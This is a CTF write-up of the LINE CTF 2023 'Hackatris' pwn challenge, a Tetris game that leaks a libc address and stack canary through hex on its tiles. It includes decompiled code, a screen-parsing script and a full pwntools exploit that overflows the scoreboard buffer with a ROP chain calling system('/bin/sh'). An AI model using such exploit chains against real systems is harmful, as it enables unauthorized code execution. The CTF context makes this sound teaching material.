Contents

LINE CTF 2023

https://i.imgur.com/wJCQHE0.png
LINE CTF 2023

This weekend, I played LINE CTF 2023 with my team Water Paddler. We got the 2nd place. This is my writeup for one of the pwn challenge that we solved together called Hackatris.

Pwn

Hackatris

Initial Analysis

We were given a binary called game. Let’s start by running it first.

https://i.imgur.com/jjaXxwO.png

Turns out, it is an implementation of tetris. Some behavior that we notice:

  • The tile of the tetris’ block contains a hex string.
  • Difficulty are changing evertime there is a new tile.
  • It uses ncurse screen, which means parsing it will be very painful later.

To understand that behaviors, let’s start disassemble the binary. Below is the interesting functions that we analyzed during working on the challenge:

get_bleak

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// .data:0000000000006138 _system_p       dq offset system
...
unsigned __int64 get_bleak()
{
  int v1; // [rsp+Ch] [rbp-14h]
  void *v2; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  v1 = rand() % 6;
  B_leak_c += 10;
  B_leak_r = B_leak_c + v1;
  v2 = system_p;
  B_leak = (__int64)*(&v2 + v1);
  qword_65C8 = (__int64)*(&v2 + v1);
  qword_65D0 = (__int64)*(&v2 + v1);
  qword_65D8 = (__int64)*(&v2 + v1);
  B_leak ^= 0x4141414141414141uLL;
  qword_65C8 ^= 0x4141414141414141uLL;
  qword_65D0 ^= 0x4141414141414141uLL;
  qword_65D8 ^= 0x4141414141414141uLL;
  return v3 - __readfsqword(0x28u);
}

This is the responsible function that generates the text on the tiles. Turns out, the hex string on the tiles are a leak. Based on that function, the get_bleak the possible value that we can leak from the tiles are:

  • system libc address (if the rand result is 0).
  • canary value (if the rand() result is 1, because if v1 = 1, v2+1 is v3, which is canary).

Notes that because all of the tiles have different shapes, the leak that we get from one tile won’t be full (For example, if the shape is cube, the total leaks will be only 4). We need multiple tiles with different shapes but same rand() value in order to retrieve the full value.

draw_sidebar

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int draw_sidebar()
{
  __int16 v0; // ax
  __int16 v1; // ax
  int i; // [rsp+Ch] [rbp-24h]
  int k; // [rsp+10h] [rbp-20h]
  int j; // [rsp+14h] [rbp-1Ch]
  __int64 v6; // [rsp+18h] [rbp-18h]
  __int64 v7; // [rsp+28h] [rbp-8h]

  for ( i = 0; i <= 2; ++i )
  {
    v6 = Q[2 * i];
    v7 = *(_QWORD *)qword_6528[2 * i];
    for ( j = 0; j <= 4; ++j )
    {
      for ( k = 0; k <= 4; ++k )
      {
        if ( *(_BYTE *)(5 * j + k + v7) == 98 )
        {
          wattr_on(side_w, 0x40000uLL, 0LL);
          v0 = to_color_pair((unsigned int)v6);
          wattr_on(side_w, (unsigned __int16)(v0 << 8), 0LL);
          mvwprintw(side_w, 5 * i + j, 2 * k + 1, "  ");
          v1 = to_color_pair((unsigned int)v6);
          wattr_off(side_w, (unsigned __int16)(v1 << 8), 0LL);
          wattr_off(side_w, 0x40000uLL, 0LL);
        }
        else
        {
          mvwprintw(side_w, 5 * i + j, 2 * k + 1, "  ");
        }
      }
    }
  }
  mvwprintw(side_w, 20, 0, "Difficulty: %d", (unsigned int)B_leak_r);
  mvwprintw(side_w, 22, 0, "Score: %lu", score);
  mvwprintw(side_w, 28, 0, "Move: ASWD or HJKL");
  return wrefresh(side_w);
}

And then, notice that the Difficulty is actually B_leak_r, which is the rand() value result. So, for each tile that we saw, we actually can know which leak it is by checking the difficulty value shown in the ncurse screen. For example, if the difficulty is 11, that means the rand() value is 1, which means the leaked value printed in the current tile are canary.

show_scoreboard

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
unsigned __int64 show_scoreboard()
{
  char v1; // [rsp+3h] [rbp-5Dh]
  char v2; // [rsp+3h] [rbp-5Dh]
  char v3; // [rsp+3h] [rbp-5Dh]
  int v4; // [rsp+4h] [rbp-5Ch]
  WINDOW *v5; // [rsp+8h] [rbp-58h]
  char v6[72]; // [rsp+10h] [rbp-50h]
  unsigned __int64 v7; // [rsp+58h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  v4 = 0;
  wtimeout(_bss_start, 30000);
  echo();
  curs_set(1);
  v5 = newwin(10, 50, 10, 10);
  wborder(v5, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL);
  wattr_on(v5, 0x800uLL, 0LL);
  mvwprintw(v5, 2, 20, "New record!");
  wattr_off(v5, 0x800uLL, 0LL);
  mvwprintw(v5, 6, 5, "Score: %lu", score);
  mvwprintw(v5, 7, 5, "Reward: ");
  wrefresh(v5);
  while ( 1 )
  {
    v1 = wgetch(v5);
    if ( v1 > 47 && v1 <= 57 )
    {
      v2 = v1 - 48;
      if ( (v4 & 1) != 0 )
        v6[v4 / 2] |= v2 & 0xF;
      else
        v6[v4 / 2] = 16 * v2;
      goto LABEL_13;
    }
    if ( v1 <= 96 || v1 > 122 )
      break;
    v3 = v1 - 97 + 10;
    if ( (v4 & 1) != 0 )
      v6[v4 / 2] |= v3 & 0xF;
    else
      v6[v4 / 2] = 16 * v3;
LABEL_13:
    ++v4;
  }
  if ( v1 != 10 )
    goto LABEL_13;
  return v7 - __readfsqword(0x28u);
}

Notice that the while loop in the bottom is actually just trying to convert hex string input to bytes, and then stored it in v6. There is a bug in that while logic actually, where it won’t stop until it found invalid character of hex. This means that we can do buffer overflow on the scoreboard menu, specifically in the reward variable.

main

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rdi
  __int64 v4; // rdi
  WINDOW *v6; // rdi
  int v7; // eax
  __time_t v8; // [rsp+10h] [rbp-20h]
  struct timespec tp; // [rsp+20h] [rbp-10h] BYREF

  ...

  if ( score )
    show_scoreboard();
  endwin();
  return 0;
}

Also reading in the main function, notice that the show_scoreboard is only called if our tetris score is not 0.

So, based on those findings, the task for this challenge is to:

  • Retrieve libc and canary value based on the given leaks at the tiles.
  • Clear at least one line of tetris so that the game will call the show_scoreboard when the game is over.

Solution

So, to trigger the bug that we found in the initial analysis, we need to recover the leaked data first. However, the binary use ncurse, which is very painful to be processed without a parser or emulator. So, the first step and the hard part is to handle the ncurse output.

Handle ncurse

We use pyte to handle the ncurse. Below is the example POC script that you can use to parse the ncurse screen.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
import pyte

exe = ELF("game_patched")
libc = ELF("./libc-2.35.so")

context.binary = exe
context.arch = 'amd64'
context.encoding = 'latin'
# context.log_level = 'DEBUG'
warnings.simplefilter("ignore")

remote_url = "35.194.113.63"
remote_port = 10004
gdbscript = '''
'''

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.PLT_DEBUG:
            # gdb.attach(r, gdbscript=gdbscript)
            pause()
    else:
        r = remote(remote_url, remote_port)

    return r

os.environ['PWNLIB_NOTERM'] = '1'
os.environ['term'] = 'xterm-256color'
r = conn()

screen = pyte.Screen(100, 500)
stream = pyte.ByteStream(screen)

while True:
    b = r.recv()
    stream.feed(b)
    cleaned_scr = []
    for disp in screen.display[5:35]:
        cleaned_scr.append(disp[5:])
    for row in cleaned_scr:
        print(row)
    print()
    pause()

Below is the example result:

https://i.imgur.com/lWU0aCx.png

cleaned_scr will contains the parsed ncurse screen. Now that we know that we can handle ncurse screen with pyte, let’s move to the next step.

Collecting Leaked Data

To collect the leaked data, we decided to modify the above example script to suit with our use cases. We decided to collect the data like below:

  • Create a parser to parse the ncurse.
  • Add logic to manually move the tiles via input().
  • Focus on clearing one line first manually, so that the score won’t be zero.
  • And then move the tiles manually and keep the game running until you get the full leaks of canary and libc address

Below is the example script that we used to achieve the above strategy:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
r = conn()

'''
Parse ncurse screen to collect leaked bytes while also playing
the tetris. We need to clear at least 1 line to be able to input
our reward.
'''

# Parse ncurse with pyte
screen = pyte.Screen(100, 500)
stream = pyte.ByteStream(screen)
prev_difficulty = 0
curr_idx = 1
need_to_check_leak = -1
found_reward = False
stop_move = False
rand_val = 10

# Will be used to store the leaked bytes.
leaked_map = {}
for i in range(6):
    leaked_map[i] = [0] * 8
leaked_map[0][5] = 0x7f
leaked_map[0][0] = 0x60 # Libc system always end with 60 and start with 7f. Need this to speed up the leakage process

# Parse ncurse payload
while True:
    b = r.recv(2048)
    stream.feed(b)

    # Cleaned scr will parse the received bytes so that it only print the map
    cleaned_scr = []
    for disp in screen.display[5:35]:
        cleaned_scr.append(disp[5:57])

    # Print leaked bytes on each iteration
    print(f'rand_val: {rand_val}')
    for key, val in leaked_map.items():
        print(f'leaked_map[{key}]: {hex(u64(bytes(val)))}')

    print(f'-'+'000102030405060708091011121314'+f'-')
    for row in cleaned_scr:
        if 'Reward' in row:
            # Exit the loop, so that we can send our BOF payload
            found_reward = True
            print(f'Found reward')
        print(row)
    print(f'-'+'000102030405060708091011121314'+f'-')
    if found_reward:
        break
    
    # Collect difficulty and score
    try:
        curr_difficulty = int(cleaned_scr[20].split(' Difficulty: ')[1])
        curr_score = int(cleaned_scr[22].split(' Score: ')[1])
    except:
        continue

    # We don't want to move manually again. That means we've fully recovered the
    # leak, and want to end the game so that we can get the Reward screen
    if stop_move:
        continue
    
    # Try to parse tiles, and collect leaked bytes of libc address and canary
    if prev_difficulty != curr_difficulty:
        # There is a new tile, Parse it later after the screen buffer is fulfilled
        need_to_check_leak = 5
        rand_val = curr_difficulty - 10*curr_idx
        prev_difficulty = curr_difficulty
        curr_idx += 1
    elif need_to_check_leak > 0:
        # Buffer the screen, so that the full tiles are rendered
        need_to_check_leak -= 1
    elif need_to_check_leak == 0:
        # Time to parse
        first_leaked_row = -1
        last_leaked_row = -1
        for row_i, row in enumerate(cleaned_scr):
            if '                              ' not in row and first_leaked_row == -1:
                first_leaked_row = row_i
            elif '                              ' in row and first_leaked_row != -1:
                last_leaked_row = row_i - 1
                break

        # Dirty code, but basically this whole if conditional logic is trying
        # to parse the tiles and store the leaked bytes to our leaked_map
        if last_leaked_row != -1 and first_leaked_row != -1:
            # Parse tiles
            for i in range(last_leaked_row, first_leaked_row-1, -1):
                if last_leaked_row - first_leaked_row == 1:
                    if ' ' not in cleaned_scr[i][13:17] and ' ' not in cleaned_scr[i-1][13:17]:
                        for ii in range(last_leaked_row, first_leaked_row-1, -1):
                            for j in range(13, 19, 2):
                                # print(((last_leaked_row-ii+1)*3) + ((j-13)//2))
                                if ((last_leaked_row-ii+1)*3) + ((j-13)//2) == 8:
                                    break
                                if cleaned_scr[ii][j:j+2] != '  ':
                                    leaked_map[rand_val][((last_leaked_row-ii+1)*3) + ((j-13)//2)] = int(cleaned_scr[ii][j:j+2], 16) ^ 0x41
                        break
                if last_leaked_row == first_leaked_row:
                    for j in range(11, 19, 2):
                        if 2 + ((j-11)//2) == 8:
                            break
                        if cleaned_scr[i][j:j+2] != '  ':
                            leaked_map[rand_val][2 + ((j-11)//2)] = int(cleaned_scr[i][j:j+2], 16) ^ 0x41
                    break
                for j in range(13, 19, 2):
                    if ((last_leaked_row-i)*3) + ((j-13)//2) == 8:
                        break
                    if cleaned_scr[i][j:j+2] != '  ':
                        leaked_map[rand_val][((last_leaked_row-i)*3) + ((j-13)//2)] = int(cleaned_scr[i][j:j+2], 16) ^ 0x41
        
        # Input your move manual, so that we can parse while playing the tetris
        # to cleat at least 1 line.
        need_to_check_leak = -1
        if not stop_move:
            moves = input('Your move: ')
            if moves == 'stop':
                stop_move = True
            else:
                for move in moves:
                    r.sendline(move.encode())
                r.sendline(b' ')

Basically, what’s the above script did are:

  • Parse the ncurse screen received from the server
  • Everytime there is a change in the difficulty, that means there are a new leak. So, we only parse the screen everytime there is a change in the difficulty
  • Then, after successfully parsed, the script will ask for user manual input on where to put the parsed tiles.
  • Later on, if the sequence of manual movements that we input are able to clear one line, when we clear the game, there will be a Reward text in the parsed screen and the while loop will be stopped.

Below is the example of the full leaked data if you’re lucky enough (Spent quite a lot of time due to the RNG is not on our side…). leaked_map[0] is the leaked libc address of system, the leaked_map[1] is the leaked canary value.

https://i.imgur.com/OJAY786.png

After getting the leak, it is time to move to the next step, which is abusing the buffer overflow bug to gain code execution.

Warning
Remember that to trigger the show_scoreboard function, your score isn’t allowed to be zero. So, ensure that you have cleared at least one line before cleared the game.

Gain Code Execution

After we got the leaked data (canary and libc address), then the last step would be to finish the game and exploit the buffer overflow bug in the show_scoreboard function in the reward param.

We just need to do usual buffer overflow exploit. We decided to call system('/bin/sh') with the buffer overflow bug. To summarize, the buffer overflow payload will be:

  • b'a'*0x48 (Fulfill the reward array)
  • p64(canary) (Put the leaked canary)
  • p64(0) (Set rbp to 0 or any value (It doesn’t matter because we don’t use it))
  • p64(ret) (Add extra ret for alignment)
  • p64(pop_rdi) + p64(bin_sh_addr) (Set rdi to pointer to string /bin/sh)
  • p64(libc.symbols.system) (Call system('/bin/sh'))

Below is our full script:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
from pwn import *
import pyte

exe = ELF("game_patched")
libc = ELF("./libc-2.35.so")

context.binary = exe
context.arch = 'amd64'
context.encoding = 'latin'
# context.log_level = 'DEBUG'
warnings.simplefilter("ignore")

remote_url = "35.194.113.63"
remote_port = 10004
gdbscript = '''
'''

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.PLT_DEBUG:
            # gdb.attach(r, gdbscript=gdbscript)
            pause()
    else:
        r = remote(remote_url, remote_port)

    return r

os.environ['PWNLIB_NOTERM'] = '1'
os.environ['term'] = 'xterm-256color'
r = conn()

'''
Parse ncurse screen to collect leaked bytes while also playing
the tetris. We need to clear at least 1 line to be able to input
our reward.
'''

# Parse ncurse with pyte
screen = pyte.Screen(100, 500)
stream = pyte.ByteStream(screen)
prev_difficulty = 0
curr_idx = 1
need_to_check_leak = -1
found_reward = False
stop_move = False
rand_val = 10

# Will be used to store the leaked bytes.
leaked_map = {}
for i in range(6):
    leaked_map[i] = [0] * 8
leaked_map[0][5] = 0x7f
leaked_map[0][0] = 0x60 # Libc system always end with 60 and start with 7f. Need this to speed up the leakage process

# Parse ncurse payload
while True:
    b = r.recv(2048)
    stream.feed(b)

    # Cleaned scr will parse the received bytes so that it only print the map
    cleaned_scr = []
    for disp in screen.display[5:35]:
        cleaned_scr.append(disp[5:57])

    # Print leaked bytes on each iteration
    print(f'rand_val: {rand_val}')
    for key, val in leaked_map.items():
        print(f'leaked_map[{key}]: {hex(u64(bytes(val)))}')

    print(f'-'+'000102030405060708091011121314'+f'-')
    for row in cleaned_scr:
        if 'Reward' in row:
            # Exit the loop, so that we can send our BOF payload
            found_reward = True
            print(f'Found reward')
        print(row)
    print(f'-'+'000102030405060708091011121314'+f'-')
    if found_reward:
        break
    
    # Collect difficulty and score
    try:
        curr_difficulty = int(cleaned_scr[20].split(' Difficulty: ')[1])
        curr_score = int(cleaned_scr[22].split(' Score: ')[1])
    except:
        continue

    # We don't want to move manually again. That means we've fully recovered the
    # leak, and want to end the game so that we can get the Reward screen
    if stop_move:
        continue
    
    # Try to parse tiles, and collect leaked bytes of libc address and canary
    if prev_difficulty != curr_difficulty:
        # There is a new tile, Parse it later after the screen buffer is fulfilled
        need_to_check_leak = 5
        rand_val = curr_difficulty - 10*curr_idx
        prev_difficulty = curr_difficulty
        curr_idx += 1
    elif need_to_check_leak > 0:
        # Buffer the screen, so that the full tiles are rendered
        need_to_check_leak -= 1
    elif need_to_check_leak == 0:
        # Time to parse
        first_leaked_row = -1
        last_leaked_row = -1
        for row_i, row in enumerate(cleaned_scr):
            if '                              ' not in row and first_leaked_row == -1:
                first_leaked_row = row_i
            elif '                              ' in row and first_leaked_row != -1:
                last_leaked_row = row_i - 1
                break

        # Dirty code, but basically this whole if conditional logic is trying
        # to parse the tiles and store the leaked bytes to our leaked_map
        if last_leaked_row != -1 and first_leaked_row != -1:
            # Parse tiles
            for i in range(last_leaked_row, first_leaked_row-1, -1):
                if last_leaked_row - first_leaked_row == 1:
                    if ' ' not in cleaned_scr[i][13:17] and ' ' not in cleaned_scr[i-1][13:17]:
                        for ii in range(last_leaked_row, first_leaked_row-1, -1):
                            for j in range(13, 19, 2):
                                # print(((last_leaked_row-ii+1)*3) + ((j-13)//2))
                                if ((last_leaked_row-ii+1)*3) + ((j-13)//2) == 8:
                                    break
                                if cleaned_scr[ii][j:j+2] != '  ':
                                    leaked_map[rand_val][((last_leaked_row-ii+1)*3) + ((j-13)//2)] = int(cleaned_scr[ii][j:j+2], 16) ^ 0x41
                        break
                if last_leaked_row == first_leaked_row:
                    for j in range(11, 19, 2):
                        if 2 + ((j-11)//2) == 8:
                            break
                        if cleaned_scr[i][j:j+2] != '  ':
                            leaked_map[rand_val][2 + ((j-11)//2)] = int(cleaned_scr[i][j:j+2], 16) ^ 0x41
                    break
                for j in range(13, 19, 2):
                    if ((last_leaked_row-i)*3) + ((j-13)//2) == 8:
                        break
                    if cleaned_scr[i][j:j+2] != '  ':
                        leaked_map[rand_val][((last_leaked_row-i)*3) + ((j-13)//2)] = int(cleaned_scr[i][j:j+2], 16) ^ 0x41
        
        # Input your move manual, so that we can parse while playing the tetris
        # to cleat at least 1 line.
        need_to_check_leak = -1
        if not stop_move:
            moves = input('Your move: ')
            if moves == 'stop':
                stop_move = True
            else:
                for move in moves:
                    r.sendline(move.encode())
                r.sendline(b' ')

'''
If this is reached, that means we've fully recovered the leak.
It's time to gain RCE
'''
leaked_libc = u64(bytes(leaked_map[0]))
libc.address = leaked_libc - libc.symbols.system
canary = u64(bytes(leaked_map[1]))
log.info(f'Leaked libc: {hex(leaked_libc)}')
log.info(f'Libc base: {hex(libc.address)}')
log.info(f'Canary: {hex(canary)}')

# BOF Payload system('/bin/sh')
pop_rdi = libc.address + 0x001bc021
payload = b'a'*0x48
payload += p64(canary)
payload += p64(0)
payload += p64(pop_rdi+1)
payload += p64(pop_rdi)
payload += p64(next(libc.search(b'/bin/sh')))
payload += p64(libc.symbols.system)
r.sendline(payload.hex().encode())
r.interactive()

https://i.imgur.com/Gvm4j21.png

Note
The screen is pretty messed up due to the ncurse.

Flag: LINECTF{3261f9bf0e560f4a3ab0947d1eafc9f4}

Social Media

Follow me on twitter